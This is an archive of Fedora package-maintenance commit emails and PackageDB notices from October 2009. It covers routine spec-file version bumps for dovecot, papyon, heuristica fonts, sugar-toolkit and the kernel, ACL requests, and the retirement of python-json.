+	[ $UID -eq 0 ] || exit 4
 	echo -n $"Reloading $prog: "
 	killproc -p $pidfile $exec -HUP
 	RETVAL=$?
@@ -95,7 +98,8 @@ case "$1" in
 	;;
   *)
 	echo $"Usage: $0 {condrestart|try-restart|start|stop|restart|reload|force-reload|status}"
-	exit 2
+	RETVAL=2
+	[ "$1" = 'usage' ] && RETVAL=0
 esac
 
 exit $RETVAL


Index: dovecot.spec
===================================================================
RCS file: /cvs/extras/rpms/dovecot/F-11/dovecot.spec,v
retrieving revision 1.143
retrieving revision 1.144
diff -u -p -r1.143 -r1.144
--- dovecot.spec	6 Oct 2009 10:22:05 -0000	1.143
+++ dovecot.spec	9 Oct 2009 19:04:46 -0000	1.144
@@ -2,7 +2,7 @@ Summary: Secure imap and pop3 server
 Name: dovecot
 Epoch: 1
 Version: 1.2.6
-Release: 1%{?dist}
+Release: 2%{?dist}
 License: MIT and LGPLv2 and BSD with advertising
 Group: System Environment/Daemons
 
@@ -31,7 +31,7 @@ Source7: dovecot-REDHAT-FAQ.txt
 Source8: http://www.rename-it.nl/dovecot/1.2/%{sieve_name}-%{sieve_version}.tar.gz
 Source9: dovecot.sysconfig
 Source10: http://www.rename-it.nl/dovecot/1.2/%{managesieve_name}-%{managesieve_version}.tar.gz
-Source11: http://www.rename-it.nl/dovecot/1.2/dovecot-1.2.5-managesieve-%{managesieve_version}.diff.gz
+Source11: http://www.rename-it.nl/dovecot/1.2/dovecot-1.2.6-managesieve-%{managesieve_version}.diff.gz
 
 # 3x Fedora specific
 Patch1: dovecot-1.1-default-settings.patch
@@ -434,6 +434,9 @@ fi
 
 
 %changelog
+* Fri Oct 09 2009 Michal Hlavinka <mhlavink at redhat.com> - 1:1.2.6-2
+- fix init script for case when no action was specified
+
 * Tue Oct 06 2009 Michal Hlavinka <mhlavink at redhat.com> - 1:1.2.6-1
 - dovecot updated to 1.2.6
 - Added authtest utility for doing passdb and userdb lookups.


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/dovecot/F-11/sources,v
retrieving revision 1.70
retrieving revision 1.71
diff -u -p -r1.70 -r1.71
--- sources	6 Oct 2009 10:22:05 -0000	1.70
+++ sources	9 Oct 2009 19:04:46 -0000	1.71
@@ -1,4 +1,4 @@
 807666f1a112e7379c4dbb57c9ce4899  dovecot-1.2.6.tar.gz
 923d4965e0b357db493f3b2cb106d8d7  dovecot-1.2-managesieve-0.11.9.tar.gz
-22639d0bc4ff424282bd3f8fe8db9ab5  dovecot-1.2.5-managesieve-0.11.9.diff.gz
+615d5d1ad843654384ca11cf523c2bbc  dovecot-1.2.6-managesieve-0.11.9.diff.gz
 8749f26606c4563f0676bacc44e89ca2  dovecot-1.2-sieve-0.1.12.tar.gz



From bpepple at fedoraproject.org  Fri Oct  9 19:30:12 2009
From: bpepple at fedoraproject.org (Brian Pepple)
Date: Fri,  9 Oct 2009 19:30:12 +0000 (UTC)
Subject: rpms/papyon/devel .cvsignore, 1.3, 1.4 papyon.spec, 1.2, 1.3 sources,
	1.3, 1.4
Message-ID: <20091009193012.9F79611C0265@cvs1.fedora.phx.redhat.com>

Author: bpepple

Update of /cvs/pkgs/rpms/papyon/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv15474

Modified Files:
	.cvsignore papyon.spec sources 
Log Message:
* Fri Oct  9 2009 Brian Pepple <bpepple at fedoraproject.org> - 0.4.3-1
- Update to 0.4.3.



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/papyon/devel/.cvsignore,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- .cvsignore	8 Sep 2009 17:03:08 -0000	1.3
+++ .cvsignore	9 Oct 2009 19:30:12 -0000	1.4
@@ -1 +1 @@
-papyon-0.4.2.tar.gz
+papyon-0.4.3.tar.gz


Index: papyon.spec
===================================================================
RCS file: /cvs/pkgs/rpms/papyon/devel/papyon.spec,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- papyon.spec	8 Sep 2009 17:03:08 -0000	1.2
+++ papyon.spec	9 Oct 2009 19:30:12 -0000	1.3
@@ -1,7 +1,7 @@
 %{!?python_sitelib: %global python_sitelib %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib()")}
 
 Name:           papyon
-Version:        0.4.2
+Version:        0.4.3
 Release:        1%{?dist}
 Summary:        Python libraries for MSN Messenger network
 
@@ -55,6 +55,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Fri Oct  9 2009 Brian Pepple <bpepple at fedoraproject.org> - 0.4.3-1
+- Update to 0.4.3.
+
 * Tue Sep  8 2009 Brian Pepple <bpepple at fedoraproject.org> - 0.4.2-1
 - Update to 0.4.2.
 - Drop BR and Req on python-crypto.


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/papyon/devel/sources,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- sources	8 Sep 2009 17:03:08 -0000	1.3
+++ sources	9 Oct 2009 19:30:12 -0000	1.4
@@ -1 +1 @@
-a282fda82b6755f5ddeb68d155c2ad18  papyon-0.4.2.tar.gz
+d6a8c012f5846b44905aec5cde7c0208  papyon-0.4.3.tar.gz



From pkgdb at fedoraproject.org  Fri Oct  9 19:43:26 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 19:43:26 +0000
Subject: [pkgdb] mingw32-gnutls: epienbro has requested watchcommits
Message-ID: <20091009194326.C8E5A10F8A3@bastion2.fedora.phx.redhat.com>

epienbro has requested the watchcommits acl on mingw32-gnutls (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/mingw32-gnutls



From pkgdb at fedoraproject.org  Fri Oct  9 19:43:27 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 19:43:27 +0000
Subject: [pkgdb] mingw32-gnutls: epienbro has requested commit
Message-ID: <20091009194328.052D310F8AF@bastion2.fedora.phx.redhat.com>

epienbro has requested the commit acl on mingw32-gnutls (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/mingw32-gnutls



From pkgdb at fedoraproject.org  Fri Oct  9 19:43:33 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 19:43:33 +0000
Subject: [pkgdb] mingw32-gnutls: epienbro has requested watchbugzilla
Message-ID: <20091009194334.1A15210F892@bastion2.fedora.phx.redhat.com>

epienbro has requested the watchbugzilla acl on mingw32-gnutls (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/mingw32-gnutls



From pkgdb at fedoraproject.org  Fri Oct  9 19:43:35 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 19:43:35 +0000
Subject: [pkgdb] mingw32-gnutls: epienbro has requested approveacls
Message-ID: <20091009194335.C313910F8A3@bastion2.fedora.phx.redhat.com>

epienbro has requested the approveacls acl on mingw32-gnutls (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/mingw32-gnutls



From pkgdb at fedoraproject.org  Fri Oct  9 19:43:43 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 19:43:43 +0000
Subject: [pkgdb] mingw32-gnutls: epienbro has requested watchbugzilla
Message-ID: <20091009194343.697A410F895@bastion2.fedora.phx.redhat.com>

epienbro has requested the watchbugzilla acl on mingw32-gnutls (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/mingw32-gnutls



From pkgdb at fedoraproject.org  Fri Oct  9 19:43:45 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 19:43:45 +0000
Subject: [pkgdb] mingw32-gnutls: epienbro has requested commit
Message-ID: <20091009194345.E324B10F8A8@bastion2.fedora.phx.redhat.com>

epienbro has requested the commit acl on mingw32-gnutls (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/mingw32-gnutls



From pkgdb at fedoraproject.org  Fri Oct  9 19:43:47 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 19:43:47 +0000
Subject: [pkgdb] mingw32-gnutls: epienbro has requested watchcommits
Message-ID: <20091009194347.86E4E10F8AB@bastion2.fedora.phx.redhat.com>

epienbro has requested the watchcommits acl on mingw32-gnutls (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/mingw32-gnutls



From pkgdb at fedoraproject.org  Fri Oct  9 19:43:47 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 19:43:47 +0000
Subject: [pkgdb] mingw32-gnutls: epienbro has requested approveacls
Message-ID: <20091009194347.F30AF10F8B1@bastion2.fedora.phx.redhat.com>

epienbro has requested the approveacls acl on mingw32-gnutls (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/mingw32-gnutls



From pkgdb at fedoraproject.org  Fri Oct  9 19:43:52 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 19:43:52 +0000
Subject: [pkgdb] mingw32-gnutls: epienbro has requested watchbugzilla
Message-ID: <20091009194352.66D2B10F8A1@bastion2.fedora.phx.redhat.com>

epienbro has requested the watchbugzilla acl on mingw32-gnutls (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/mingw32-gnutls



From pkgdb at fedoraproject.org  Fri Oct  9 19:43:53 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 19:43:53 +0000
Subject: [pkgdb] mingw32-gnutls: epienbro has requested watchcommits
Message-ID: <20091009194353.43C0910F8B5@bastion2.fedora.phx.redhat.com>

epienbro has requested the watchcommits acl on mingw32-gnutls (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/mingw32-gnutls



From pkgdb at fedoraproject.org  Fri Oct  9 19:43:54 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 19:43:54 +0000
Subject: [pkgdb] mingw32-gnutls: epienbro has requested commit
Message-ID: <20091009194354.ADD6010F8B8@bastion2.fedora.phx.redhat.com>

epienbro has requested the commit acl on mingw32-gnutls (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/mingw32-gnutls



From pkgdb at fedoraproject.org  Fri Oct  9 19:43:54 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 19:43:54 +0000
Subject: [pkgdb] mingw32-gnutls: epienbro has requested approveacls
Message-ID: <20091009194354.D6AFF10F8BD@bastion2.fedora.phx.redhat.com>

epienbro has requested the approveacls acl on mingw32-gnutls (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/mingw32-gnutls



From nim at fedoraproject.org  Fri Oct  9 19:44:27 2009
From: nim at fedoraproject.org (nim)
Date: Fri,  9 Oct 2009 19:44:27 +0000 (UTC)
Subject: rpms/apanov-heuristica-fonts/devel apanov-heuristica-fonts.spec,
	1.12, 1.13 import.log, 1.9, 1.10
Message-ID: <20091009194427.CD5BF11C00C1@cvs1.fedora.phx.redhat.com>

Author: nim

Update of /cvs/extras/rpms/apanov-heuristica-fonts/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv20671/devel

Modified Files:
	apanov-heuristica-fonts.spec import.log 
Log Message:
ttf-ize


Index: apanov-heuristica-fonts.spec
===================================================================
RCS file: /cvs/extras/rpms/apanov-heuristica-fonts/devel/apanov-heuristica-fonts.spec,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- apanov-heuristica-fonts.spec	13 Sep 2009 16:56:49 -0000	1.12
+++ apanov-heuristica-fonts.spec	9 Oct 2009 19:44:27 -0000	1.13
@@ -5,7 +5,7 @@
 
 Name:    %{fontname}-fonts
 Version: 0.2
-Release: 2%{?dist}
+Release: 3%{?dist}
 Epoch:   1
 Summary: Heuristica font
 
@@ -18,7 +18,7 @@ Patch0:    %{name}-bolditalic.patch
 BuildRoot: %(mktemp -ud %{_tmppath}/%{name}-%{version}-%{release}-XXXXXX)
 
 BuildArch:     noarch
-BuildRequires: fontforge, fonttools, xgridfit
+BuildRequires: fontforge, fonttools, xgridfit, xmlstarlet
 BuildRequires: fontpackages-devel
 Requires:      fontpackages-filesystem
 
@@ -40,18 +40,14 @@ done
 
 %build
 
-# bug #512504 needs to be fixed in fonttools for plain make to work
-# http://bugzilla.redhat.com/show_bug.cgi?id=512504
-
-make %{?_smp_mflags} Heuristica-Regular.otf Heuristica-Bold.otf \
-                     Heuristica-Italic.otf Heuristica-BoldItalic.otf
+make %{?_smp_mflags}
 
 
 %install
 rm -fr %{buildroot}
 
 install -m 0755 -d %{buildroot}%{_fontdir}
-install -m 0644 -p *.otf %{buildroot}%{_fontdir}
+install -m 0644 -p *.ttf %{buildroot}%{_fontdir}
 
 install -m 0755 -d %{buildroot}%{_fontconfig_templatedir} \
                    %{buildroot}%{_fontconfig_confdir}
@@ -66,12 +62,16 @@ ln -s %{_fontconfig_templatedir}/%{fontc
 rm -fr %{buildroot}
 
 
-%_font_pkg -f %{fontconf} *.otf
+%_font_pkg -f %{fontconf} *.ttf
 
 %doc *.txt
 
 
 %changelog
+* Fri Oct  9 2009 Nicolas Mailhot <nicolas.mailhot at laposte.net>
+- 1:0.2-3
+? fonttools has been fixed ? generate TTFs
+
 * Sun Sep 13 2009 Nicolas Mailhot <nicolas.mailhot at laposte.net>
 - 1:0.2-2
 ? make Bold Italic Bold Italic not BoldItalic


Index: import.log
===================================================================
RCS file: /cvs/extras/rpms/apanov-heuristica-fonts/devel/import.log,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- import.log	13 Sep 2009 16:56:49 -0000	1.9
+++ import.log	9 Oct 2009 19:44:27 -0000	1.10
@@ -7,3 +7,4 @@ apanov-heuristica-fonts-20090125-5_fc11:
 apanov-heuristica-fonts-20090507-1_fc12:HEAD:apanov-heuristica-fonts-20090507-1.fc12.src.rpm:1247609683
 apanov-heuristica-fonts-0_2-1_fc12:HEAD:apanov-heuristica-fonts-0.2-1.fc12.src.rpm:1252262664
 apanov-heuristica-fonts-0_2-2_fc12:HEAD:apanov-heuristica-fonts-0.2-2.fc12.src.rpm:1252860982
+apanov-heuristica-fonts-0_2-3_fc13:HEAD:apanov-heuristica-fonts-0.2-3.fc13.src.rpm:1255117443



From pkgdb at fedoraproject.org  Fri Oct  9 19:46:00 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 19:46:00 +0000
Subject: [pkgdb] mingw32-libgpg-error: epienbro has requested watchbugzilla
Message-ID: <20091009194600.E4F3F10F892@bastion2.fedora.phx.redhat.com>

epienbro has requested the watchbugzilla acl on mingw32-libgpg-error (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/mingw32-libgpg-error



From pkgdb at fedoraproject.org  Fri Oct  9 19:46:01 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 19:46:01 +0000
Subject: [pkgdb] mingw32-libgpg-error: epienbro has requested watchcommits
Message-ID: <20091009194601.F248B10F8A4@bastion2.fedora.phx.redhat.com>

epienbro has requested the watchcommits acl on mingw32-libgpg-error (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/mingw32-libgpg-error



From pkgdb at fedoraproject.org  Fri Oct  9 19:46:02 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 19:46:02 +0000
Subject: [pkgdb] mingw32-libgpg-error: epienbro has requested commit
Message-ID: <20091009194602.9F02E10F8AD@bastion2.fedora.phx.redhat.com>

epienbro has requested the commit acl on mingw32-libgpg-error (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/mingw32-libgpg-error



From pkgdb at fedoraproject.org  Fri Oct  9 19:46:04 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 19:46:04 +0000
Subject: [pkgdb] mingw32-libgpg-error: epienbro has requested approveacls
Message-ID: <20091009194604.7C28810F8B3@bastion2.fedora.phx.redhat.com>

epienbro has requested the approveacls acl on mingw32-libgpg-error (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/mingw32-libgpg-error



From pkgdb at fedoraproject.org  Fri Oct  9 19:46:12 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 19:46:12 +0000
Subject: [pkgdb] mingw32-libgpg-error: epienbro has requested watchbugzilla
Message-ID: <20091009194612.A465110F8A1@bastion2.fedora.phx.redhat.com>

epienbro has requested the watchbugzilla acl on mingw32-libgpg-error (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/mingw32-libgpg-error



From pkgdb at fedoraproject.org  Fri Oct  9 19:46:13 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 19:46:13 +0000
Subject: [pkgdb] mingw32-libgpg-error: epienbro has requested watchcommits
Message-ID: <20091009194613.CE0F310F8A8@bastion2.fedora.phx.redhat.com>

epienbro has requested the watchcommits acl on mingw32-libgpg-error (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/mingw32-libgpg-error



From pkgdb at fedoraproject.org  Fri Oct  9 19:46:14 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 19:46:14 +0000
Subject: [pkgdb] mingw32-libgpg-error: epienbro has requested commit
Message-ID: <20091009194614.CCFCB10F8B8@bastion2.fedora.phx.redhat.com>

epienbro has requested the commit acl on mingw32-libgpg-error (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/mingw32-libgpg-error



From pkgdb at fedoraproject.org  Fri Oct  9 19:46:15 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 19:46:15 +0000
Subject: [pkgdb] mingw32-libgpg-error: epienbro has requested approveacls
Message-ID: <20091009194615.DAC7410F8B1@bastion2.fedora.phx.redhat.com>

epienbro has requested the approveacls acl on mingw32-libgpg-error (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/mingw32-libgpg-error



From pkgdb at fedoraproject.org  Fri Oct  9 19:46:20 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 19:46:20 +0000
Subject: [pkgdb] mingw32-libgpg-error: epienbro has requested watchbugzilla
Message-ID: <20091009194620.9099010F8B3@bastion2.fedora.phx.redhat.com>

epienbro has requested the watchbugzilla acl on mingw32-libgpg-error (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/mingw32-libgpg-error



From pkgdb at fedoraproject.org  Fri Oct  9 19:46:21 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 19:46:21 +0000
Subject: [pkgdb] mingw32-libgpg-error: epienbro has requested commit
Message-ID: <20091009194621.6475810F8BE@bastion2.fedora.phx.redhat.com>

epienbro has requested the commit acl on mingw32-libgpg-error (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/mingw32-libgpg-error



From pkgdb at fedoraproject.org  Fri Oct  9 19:46:24 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 19:46:24 +0000
Subject: [pkgdb] mingw32-libgpg-error: epienbro has requested watchcommits
Message-ID: <20091009194624.A734F10F8A1@bastion2.fedora.phx.redhat.com>

epienbro has requested the watchcommits acl on mingw32-libgpg-error (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/mingw32-libgpg-error



From pkgdb at fedoraproject.org  Fri Oct  9 19:46:25 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 19:46:25 +0000
Subject: [pkgdb] mingw32-libgpg-error: epienbro has requested approveacls
Message-ID: <20091009194626.3EA7710F8A9@bastion2.fedora.phx.redhat.com>

epienbro has requested the approveacls acl on mingw32-libgpg-error (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/mingw32-libgpg-error



From pkgdb at fedoraproject.org  Fri Oct  9 19:46:39 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 19:46:39 +0000
Subject: [pkgdb] python-json ownership updated
Message-ID: <20091009194639.9A9BF10F8AC@bastion2.fedora.phx.redhat.com>

Package python-json in Fedora devel is now owned by toshio

To make changes to this package see:
  /pkgdb/packages/name/python-json



From pkgdb at fedoraproject.org  Fri Oct  9 19:46:39 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 19:46:39 +0000
Subject: [pkgdb] python-json (un)retirement
Message-ID: <20091009194639.A8CAA10F8B1@bastion2.fedora.phx.redhat.com>

Package python-json in Fedora devel has been retired by lmacken

To make changes to this package see:
  /pkgdb/packages/name/python-json



From pkgdb at fedoraproject.org  Fri Oct  9 19:46:53 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 19:46:53 +0000
Subject: [pkgdb] python-json ownership updated
Message-ID: <20091009194653.AA9DE10F880@bastion2.fedora.phx.redhat.com>

Package python-json in Fedora 12 is now owned by toshio

To make changes to this package see:
  /pkgdb/packages/name/python-json



From pkgdb at fedoraproject.org  Fri Oct  9 19:46:53 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 19:46:53 +0000
Subject: [pkgdb] python-json (un)retirement
Message-ID: <20091009194653.CE0BA10F8A4@bastion2.fedora.phx.redhat.com>

Package python-json in Fedora 12 has been retired by lmacken

To make changes to this package see:
  /pkgdb/packages/name/python-json



From lmacken at fedoraproject.org  Fri Oct  9 19:49:23 2009
From: lmacken at fedoraproject.org (Luke Macken)
Date: Fri,  9 Oct 2009 19:49:23 +0000 (UTC)
Subject: rpms/python-json/devel dead.package,NONE,1.1
Message-ID: <20091009194923.1F6BA11C00C1@cvs1.fedora.phx.redhat.com>

Author: lmacken

Update of /cvs/pkgs/rpms/python-json/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv21931

Added Files:
	dead.package 
Log Message:
Retiring python-json in rawhide, as Python2.6 now provides a json module


--- NEW FILE dead.package ---
Python 2.6 now provides a json module.



From lmacken at fedoraproject.org  Fri Oct  9 19:50:43 2009
From: lmacken at fedoraproject.org (Luke Macken)
Date: Fri,  9 Oct 2009 19:50:43 +0000 (UTC)
Subject: rpms/python-json/F-12 dead.package, NONE, 1.1 Makefile, 1.1,
	NONE python-json.spec, 1.8, NONE sources, 1.2, NONE
Message-ID: <20091009195043.A8E9011C029B@cvs1.fedora.phx.redhat.com>

Author: lmacken

Update of /cvs/pkgs/rpms/python-json/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv22250/F-12

Added Files:
	dead.package 
Removed Files:
	Makefile python-json.spec sources 
Log Message:
Retiring python-json in rawhide and F-12, as Python2.6 now provides a json module


--- NEW FILE dead.package ---
Python 2.6 now provides a json module


--- Makefile DELETED ---


--- python-json.spec DELETED ---


--- sources DELETED ---



From lmacken at fedoraproject.org  Fri Oct  9 19:50:43 2009
From: lmacken at fedoraproject.org (Luke Macken)
Date: Fri,  9 Oct 2009 19:50:43 +0000 (UTC)
Subject: rpms/python-json/devel Makefile, 1.1, NONE python-json.spec, 1.8,
	NONE sources, 1.2, NONE
Message-ID: <20091009195043.E947A11C029B@cvs1.fedora.phx.redhat.com>

Author: lmacken

Update of /cvs/pkgs/rpms/python-json/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv22250/devel

Removed Files:
	Makefile python-json.spec sources 
Log Message:
Retiring python-json in rawhide and F-12, as Python2.6 now provides a json module


--- Makefile DELETED ---


--- python-json.spec DELETED ---


--- sources DELETED ---



From lmacken at fedoraproject.org  Fri Oct  9 20:04:28 2009
From: lmacken at fedoraproject.org (Luke Macken)
Date: Fri,  9 Oct 2009 20:04:28 +0000 (UTC)
Subject: rpms/sugar-toolkit/F-12 sugar-toolkit.spec,1.57,1.58
Message-ID: <20091009200428.15F7411C00C1@cvs1.fedora.phx.redhat.com>

Author: lmacken

Update of /cvs/pkgs/rpms/sugar-toolkit/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv25483/F-12

Modified Files:
	sugar-toolkit.spec 
Log Message:
Remove python-json requirement in devel and F-12, which is now provided by
Python 2.6



Index: sugar-toolkit.spec
===================================================================
RCS file: /cvs/pkgs/rpms/sugar-toolkit/F-12/sugar-toolkit.spec,v
retrieving revision 1.57
retrieving revision 1.58
diff -u -p -r1.57 -r1.58
--- sugar-toolkit.spec	1 Oct 2009 22:04:25 -0000	1.57
+++ sugar-toolkit.spec	9 Oct 2009 20:04:27 -0000	1.58
@@ -36,7 +36,6 @@ Requires: sugar-datastore
 Requires: sugar-base
 Requires: sugar-presence-service
 Requires: python-simplejson
-Requires: python-json
 
 %description
 Sugar is the core of the OLPC Human Interface. The toolkit provides
@@ -68,6 +67,9 @@ rm -rf %{buildroot}
 %{_sysconfdir}/rpm/macros.sugar
 
 %changelog
+* Fri Oct 09 2009 Luke Macken <lmacken at redhat.com> - 0.86.1-2
+- Remove python-json requirement, which is now provided by Python 2.6
+
 * Tue Oct 01 2009 Simon Schampijer <simon at schampijer.de> - 0.86.1-1
 - Do no use random color if metadata color is not valid #1435
 - Shutdown/Reboot fails when multiple users are logged in #246



From lmacken at fedoraproject.org  Fri Oct  9 20:04:28 2009
From: lmacken at fedoraproject.org (Luke Macken)
Date: Fri,  9 Oct 2009 20:04:28 +0000 (UTC)
Subject: rpms/sugar-toolkit/devel sugar-toolkit.spec,1.56,1.57
Message-ID: <20091009200428.3D48211C00C1@cvs1.fedora.phx.redhat.com>

Author: lmacken

Update of /cvs/pkgs/rpms/sugar-toolkit/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv25483/devel

Modified Files:
	sugar-toolkit.spec 
Log Message:
Remove python-json requirement in devel and F-12, which is now provided by
Python 2.6



Index: sugar-toolkit.spec
===================================================================
RCS file: /cvs/pkgs/rpms/sugar-toolkit/devel/sugar-toolkit.spec,v
retrieving revision 1.56
retrieving revision 1.57
diff -u -p -r1.56 -r1.57
--- sugar-toolkit.spec	27 Sep 2009 17:19:44 -0000	1.56
+++ sugar-toolkit.spec	9 Oct 2009 20:04:28 -0000	1.57
@@ -6,7 +6,7 @@
 Summary: Sugar toolkit
 Name: sugar-toolkit
 Version: 0.86.0
-Release: 1%{?dist}
+Release: 2%{?dist}
 #Release: 2.%{alphatag}%{?dist}
 URL: http://wiki.laptop.org/go/Sugar
 # git clone git://dev.laptop.org/sugar
@@ -36,7 +36,6 @@ Requires: sugar-datastore
 Requires: sugar-base
 Requires: sugar-presence-service
 Requires: python-simplejson
-Requires: python-json
 
 %description
 Sugar is the core of the OLPC Human Interface. The toolkit provides
@@ -68,6 +67,9 @@ rm -rf %{buildroot}
 %{_sysconfdir}/rpm/macros.sugar
 
 %changelog
+* Fri Oct 09 2009 Luke Macken <lmacken at redhat.com> - 0.86.0-2
+- Remove python-json requirement, which is now provided by Python 2.6
+
 * Sun Sep 27 2009 Sebastian Dziallas <sebastian at when.com> - 0.86.0-1
 - New upstream release
 



From lmacken at fedoraproject.org  Fri Oct  9 20:11:17 2009
From: lmacken at fedoraproject.org (Luke Macken)
Date: Fri,  9 Oct 2009 20:11:17 +0000 (UTC)
Subject: rpms/sugar-toolkit/F-12 sugar-toolkit.spec,1.58,1.59
Message-ID: <20091009201117.D29CE11C00C1@cvs1.fedora.phx.redhat.com>

Author: lmacken

Update of /cvs/pkgs/rpms/sugar-toolkit/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv27557

Modified Files:
	sugar-toolkit.spec 
Log Message:
Bumping the revision helps


Index: sugar-toolkit.spec
===================================================================
RCS file: /cvs/pkgs/rpms/sugar-toolkit/F-12/sugar-toolkit.spec,v
retrieving revision 1.58
retrieving revision 1.59
diff -u -p -r1.58 -r1.59
--- sugar-toolkit.spec	9 Oct 2009 20:04:27 -0000	1.58
+++ sugar-toolkit.spec	9 Oct 2009 20:11:17 -0000	1.59
@@ -6,7 +6,7 @@
 Summary: Sugar toolkit
 Name: sugar-toolkit
 Version: 0.86.1
-Release: 1%{?dist}
+Release: 2%{?dist}
 #Release: 2.%{alphatag}%{?dist}
 URL: http://wiki.laptop.org/go/Sugar
 # git clone git://dev.laptop.org/sugar



From jwilson at fedoraproject.org  Fri Oct  9 20:16:09 2009
From: jwilson at fedoraproject.org (Jarod Wilson)
Date: Fri,  9 Oct 2009 20:16:09 +0000 (UTC)
Subject: rpms/kernel/F-12 kernel.spec,1.1853,1.1854
Message-ID: <20091009201609.43AD411C00C1@cvs1.fedora.phx.redhat.com>

Author: jwilson

Update of /cvs/pkgs/rpms/kernel/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv30255

Modified Files:
	kernel.spec 
Log Message:
* Fri Oct 09 2009 Jarod Wilson <jarod at redhat.com>
- Build docs sub-package again



Index: kernel.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/F-12/kernel.spec,v
retrieving revision 1.1853
retrieving revision 1.1854
diff -u -p -r1.1853 -r1.1854
--- kernel.spec	8 Oct 2009 18:49:27 -0000	1.1853
+++ kernel.spec	9 Oct 2009 20:16:08 -0000	1.1854
@@ -111,7 +111,7 @@ Summary: The Linux kernel
 %define doc_build_fail true
 %endif
 
-%define rawhide_skip_docs 1
+%define rawhide_skip_docs 0
 %if 0%{?rawhide_skip_docs}
 %define with_doc 0
 %endif
@@ -2046,6 +2046,9 @@ fi
 # and build.
 
 %changelog
+* Fri Oct 09 2009 Jarod Wilson <jarod at redhat.com>
+- Build docs sub-package again
+
